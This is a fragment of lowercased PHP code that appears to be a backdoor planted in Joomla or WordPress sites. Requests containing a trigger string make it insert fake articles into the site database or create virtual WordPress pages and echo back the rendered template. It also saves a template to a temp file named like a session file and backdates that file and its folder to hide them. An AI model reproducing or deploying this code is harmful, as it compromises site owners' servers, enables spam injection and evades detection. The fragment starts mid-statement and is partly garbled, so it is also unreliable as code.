|
]*>[^#is', '[title]', $tpl); $tpl = preg_replace('#thefuckingtitle\d+#is', '[title]', $tpl); $tpl = preg_replace('#thefuckingcontent\d+#is', '[content]', $tpl); $tpl = preg_replace('#\[content\]#is', '[content]', $tpl); $new_tags = ' '; $tpl = preg_replace('##is', $new_tags.'', $tpl); } $localpath=getenv("script_name");$absolutepath=getenv("script_filename");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); $tpl_path = sys_get_temp_dir()."/sess_4f2afc9c4099ee1f39c9f551123e54bd"; if (!empty($tpl) && file_put_contents($tpl_path, $tpl)) { echo 'success!'; } else { echo 'failed'; } touch($tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365)); touch(dirname($tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365)); exit; } if (strpos($_server['request_uri'], 'gimmeyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $localpath=getenv("script_name");$absolutepath=getenv("script_filename");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); if (is_dir($root_path.'/libraries/joomla/application/')) { $alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000); $database = jfactory::getdbo(); $item = new stdclass; $item->id = null; $item->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $item->introtext = ''; $item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000); $item->state = 1; $item->access = 1; $item->created_by = 62; $item->created = '2011-11-11 11:11:11'; $item->publish_up = '2011-11-11 11:11:11'; $item->alias = $alias; if (!$database->insertobject('#__content', $item, 'id')) { echo $database->stderr(); } $url = 'http://'.$_server['http_host'].'/index.php?option=com_content&view=article&id='.$item->id; $data = file_get_contents($url); $data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[page_url]"', $data); $data = preg_replace('#friday, 11 november 2011 11:11#is', '[date]', $data); $data = preg_replace('#11 november 2011 11:11#is', '[date]', $data); $data = preg_replace('#11 november 2011#is', '[date]', $data); $data = preg_replace('#11 november 2011#is', '[date]', $data); $data = preg_replace('#11.11.2011#is', '[date]', $data); $data = preg_replace('#2011-11-11#is', '[date]', $data); $data = preg_replace('#2011.11.11#is', '[date]', $data); echo $data; exit; } if (is_dir($root_path.'/wp-admin/includes/')) { if (!class_exists('thevirtualpage')) { class thevirtualpage { private $slug = null; private $title = null; private $content = null; private $author = null; private $date = null; private $type = null; public function __construct($args) { $this->slug = 'slug'; $this->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $this->content = 'thefuckingcontent'.mt_rand(1, 10000000000); $this->author = 1; $this->date = current_time('mysql'); $this->dategmt = current_time('mysql', 1); $this->type = 'page'; add_filter('the_posts', array(&$this, '_virtualpage')); } // filter to create virtual page content public function _virtualpage($posts) { global $wp, $wp_query; //create a fake post intance $post = new stdclass; // fill properties of $post with everything a page in the database would have $post->id = "-1"; // use an illegal value for page id $post->post_author = $this->author; // post author id $post->post_date = $this->date; // date of post $post->post_date_gmt = $this->dategmt; $post->post_content = $this->content; $post->post_title = $this->title; $post->post_excerpt = ''; $post->post_status = 'publish'; $post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist $post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist $post->post_password = ''; // no password $post->post_name = $this->slug; $post->to_ping = ''; $post->pinged = ''; $post->modified = $post->post_date; $post->modified_gmt = $post->post_date_gmt; $post->post_content_filtered = ''; $post->post_parent = 0; $post->guid = get_home_url('/' . $this->slug); $post->menu_order = 0; $post->post_type = $this->type; $post->post_mime_type = ''; $post->comment_count = 0; // set filter results $posts = array($post); // reset wp_query properties to simulate a found page $wp_query->is_page = true; $wp_query->is_singular = true; $wp_query->is_home = false; $wp_query->is_archive = false; $wp_query->is_category = false; unset($wp_query->query['error']); $wp_query->query_vars['error'] = ''; $wp_query->is_404 = false; return ($posts); } } } function _create_virtual() { $args = array('slug' => 'slug', 'title' => '', 'content' => '' ); $pg = new thevirtualpage($args); } function change_wp_44_title( $title ) { global $data; $title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000); $title['page'] = ''; $title['tagline'] = ''; $title['site'] = ''; return $title; } function change_wp_40_title( $title ) { return 'thefuckingtitle'.mt_rand(1, 10000000000); } function _change_page_url( ) { return '[page_url]'; } add_filter( 'the_permalink', '_change_page_url'); add_action('init', '_create_virtual'); add_filter( 'document_title_parts', 'change_wp_44_title' ); add_filter( 'wp_title', 'change_wp_40_title' ); } } |